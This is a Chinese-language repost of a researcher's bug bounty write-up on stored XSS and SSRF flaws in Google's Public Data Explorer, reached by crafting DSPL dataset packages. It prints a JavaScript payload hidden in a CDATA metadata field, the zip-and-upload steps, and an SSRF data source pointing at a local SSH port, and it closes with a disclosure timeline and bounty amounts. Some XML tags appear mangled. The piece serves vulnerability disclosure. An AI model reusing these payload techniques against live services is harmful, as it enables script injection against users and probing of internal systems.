欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

看我如何构造DSPL语言包发现Google的存储型XSS和SSRF漏洞

来源:本站整理 作者:佚名 时间:2018-04-02 TAG: 我要投稿


掌握数据就能统治整个世界 – 软银孙正义
本文讲述我通过精心制作Google数据集发布语言(DSPL)包,在请求www.google.com的环境中构造出存储型XSS漏洞,另外,利用DSPL的远程数据源功能实现了本地服务访问(也即SSRF)。
Google的数据集发布语言DSPL
Google的数据集发布语言:Google利用其具备的强大网络数据收集能力,在数据挖掘和可视化方面拥有多项应用,通过搭建可视化的商业和公共服务平,方便第三方公司和个人充分数据收集可视化。用户可以利用Google的数据集发布语言(Dataset Publishing Language,DSPL)接口,把他们自己的数据库链接上Google的可视化工具,实现方便的个人定制数据可视化。
Google的公开数据浏览器(Public Data Explorer)是一款数据搜索和可视化显示工具,它以官方数据为基础,为一些常见的搜索请求制作图表,以更加直观的视觉形式反映出搜索结果。例如,我们可以利用它来方便地实现政府卫生支出、世界银行数据等大型数据集的搜集和可视化。

DSPL使用XML来描述数据集中的元数据,还会用到CSV数据文件,例如DSPL下的sample.zip压缩包格式是这样的:
Archive:  sample.zip
Length      Date    Time    Name
---------  ---------- -----   ----
      246  02-01-2018 13:19   countries.csv
      221  02-14-2011 17:13   country_slice.csv
     7812  03-04-2018 21:12   dataset.xml
      246  02-14-2011 17:13   gender_country_slice.csv
       28  01-29-2018 20:55   genders.csv
      200  02-14-2011 17:13   state_slice.csv
      300  01-29-2018 21:11   states.csv
---------                     -------
     9053                     7 files
漏洞端倪
问题就在于,Google的公开数据浏览器(Public Data Explorer)在使用数据集归档中提供的元数据时,不会去检查这些元数据是否经过有效编码或安全验证。
以下面这个数据集的使用为例:
curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip
unzip sample.zip; rm sample.zip
可以对数据集中dataset.xml文件的元数据名称值进行更改。另外在以下XML文件中,可以使用CDATA部分来包含JavaScript的执行脚本(Payload),以防止其被当做XML标记来解析:
info>
  name>
    value>confirm(document.domain)]]>value>
  name>
    description>
      value>Some very interesting statistics about countriesvalue>
    description>
    url>
      value>http://google.comvalue>
    url> 
info>
之后,执行以下两步操作:
zip -r poc.dspl *
将上述精心制作的数据集文件上传到Google公开数据浏览器中(Public Data Explorer),把它公开分享
这样一来,只要点击查看该数据集的用户,都会在www.google.com请求环境中被执行一段攻击者精心制作的JavaScript恶意脚本(这种脚本如Coinhive)。
漏洞PoC测试
在以下视频中我们可以看到,构造一个包含恶意脚本的数据集压缩包,上传部署后,能成功执行预定脚本:
http://v.youku.com/v_show/id_XMzQ3MTM0Njk0OA==.html
https://vimeo.com/258923005
而且,因为DSPL还具备从远程HTTP或FTP源中进行数据检索,所以,利用该功能和上述缺陷可以实现SSRF攻击,访问到某些本地主机的服务数据资源(另外,深入利用,还可间接访问到目标系统内与互联网隔离的内部网络系统,进一步对目标系统内的系统或设备造成安全威胁)
例如,把poc.dspl/dataset.xml中的内容更改如下:
table id="my_table">
  column id="first" type="string"/>
  column id="last" type="string"/>
  data>
    file format="csv" encoding="utf-8">ftp://0.0.0.0:22file>
  data>
table>
在把该数据集进行上传分享时,Google服务端返回了HTTP/FTP请求的出错处理响应,其中显示了Google服务端的SSH详细banner信息,实际上,这本来就是一种不应公开显示的服务端信息:

这个有意思的漏洞是我在今年1月份休假时发现的,感谢朋友@sirdarckcat和谷歌安全团队。文中如有不妥之处,还望多多包涵。
漏洞处理进程
2018年1月: 向Google上报漏洞
2018年2月:Google确认漏洞并进行漏洞修复
2018年2月:Google针对其中的存储型XSS漏洞奖励我$5000美金
2018年3月:Google针对其中的SSRF漏洞奖励我$13337美金
 

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载